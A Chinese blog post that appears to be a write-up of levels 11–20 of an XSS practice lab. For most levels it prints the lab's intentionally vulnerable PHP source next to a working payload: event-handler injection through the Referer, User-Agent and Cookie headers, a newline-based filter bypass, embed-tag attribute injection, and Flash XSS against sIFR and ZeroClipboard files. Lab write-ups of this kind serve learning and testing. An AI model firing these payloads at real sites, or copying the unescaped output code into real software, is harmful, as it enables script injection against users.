美文网首页
XSS闯关小练习(二)

XSS闯关小练习(二)

作者: Dale丶 | 来源:发表于2017-12-09 20:44 被阅读0次

第十一关:

image.png

源码:

<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>

分析:hidden影藏了表单,$str与$str00都被做了转义,可以对输出的$str33写xss语句,burp抓包改referer即可
payload为:Referer: " onmouseover=alert(/xss/) type="text

第十二关:

image.png

源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';

分析:跟上题一样改user-agent即可
payload为:User-Agent:" onclick=alert(/xss/) type="text

第十三关:

image.png

源码:

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

分析:同上,改cookie中的user即可
payload为: " onfocus=alert(/xss/) type="text

第十四关第十五关要翻越大防火墙,作为遵纪守法的我就跳过了

1.jpg

第十六关:

image.png

源码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>

分析:过滤不全面很好绕过
payload为:keyword<img%0Asrc=xss%0Donmouseover=alert('xss')>

第十七关:

image.png

源码:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

分析:俩个输出的值都被做了实体化转义,无法闭合标签,但是问题在于本身embed标签可以加入事件,可以在arg01,或者arg中加入事件去触发即可
payload为:arg01=123%20onmouseover=alert('xss')&arg=456

第十八关:

image.png

源码:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

分析:没看出和上一关有什么区别,直接用上一关的payload即可。
payload为:arg01=123%20onmouseover=alert('xss')&arg=456

第十九关:

image.png

源码:

<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

分析:这一关开始是flash xss了,首先下载页面中的flash,对源码进行分析,我用的是JPEXS这款工具。发现是actionscript 2.0,首先定位getURL函数,

sIFR.menuItems.push(new ContextMenuItem("Followlink",function()
{
getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget);
}),new ContextMenuItem("Open link in new window",function()
{
getURL(sIFR.instance.primaryLink,"_blank");
}));
再追踪到sIFR的内容,省略了一些代码,关键代码如下:
if(_loc5_ && _root.version != sIFR.VERSION)
{
_loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);
}
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL 只在内容为link时,打开,故定位以下函数:
function contentIsLink()
{
return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ") ==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") == this.content.length - 4);
}   //大体意思是要geturl得用a标签吧。

payload为:arg01=version&arg02=%3Ca%20href=%22javascript:alert(%27xss%27)%22%3E111%3C/a%3E //点击传入进去的’111‘就可以触发XSS。

第二十题:

得下载这个东西zeroclipboard.swf,烧脑百度之后得知有漏洞利用的payload直接用了,嘻嘻。
可以参考这个大神发的文章http://www.freebuf.com/sectool/108568.html

image.png
payload为:arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(/xss/)//%26width%26height

完毕!!

相关文章

  • XSS闯关小练习(二)

    第十一关: 源码: 分析:hidden影藏了表单,$str与$str00都被做了转义,可以对输出的$str33写x...

  • xss闯关小练习(一)

    忘记啥时候下载的练习题,无聊拿出来做做。打开后随便点一下进入第一关: 第一关 源码: 分析:没有做任何过滤payl...

  • XSS闯关笔记

    level 1 查看第一关的源码,发现get方法直接输入的内容,可以直接构造payload payload: al...

  • XSS挑战之旅--游戏闯关

    在知识星球上看到别人发的一个XSS靶场,刚好适合刷完sql-labs的我学习XSS level1 没有任何过滤,直...

  • 闯关课打卡流程图

    在进行闯关课之前有很多人是首次使用我们的打卡学习工具:微信小程序“趣练习Pro”,我们所有的闯关课程都在小程序里进...

  • [渗透测试]XSS注入

    看的是这个地方的视频:XSS注入权当入个门了,抓包工具也没装,手痒痒拿XSS闯关练了一下,感觉还是比SQL注入简单...

  • XSS 练习

    XSS 练习 from my wp blog 一个不错的网站,不错的渗透教程 虽然是很基础的东西,但是涵盖了好多知...

  • 闯关~即兴练习

    只见白衣人手里握着一把黑伞,被刚逆风的气流冲得猛吐了一口鲜血。胸口的疼痛让他眉头紧皱。再缓缓抬头时,四周已是晋级后...

  • 课堂小妙招

    抢答:全班站起来抢答,看谁快 闯关游戏,按座位依次回答 小勾错题、小勾贴纸 数学文化 练习课—骆驼反复咀嚼

  • 21.浅谈前端WEB安全性(二)

    (二)浅谈前端WEB安全性5.XSS防御6.XSS分类及挖掘方法 5.XSS防御 一.概述 攻击者可以利用XSS漏...

网友评论

      本文标题:XSS闯关小练习(二)

      本文链接:https://www.haomeiwen.com/subject/qjguixtx.html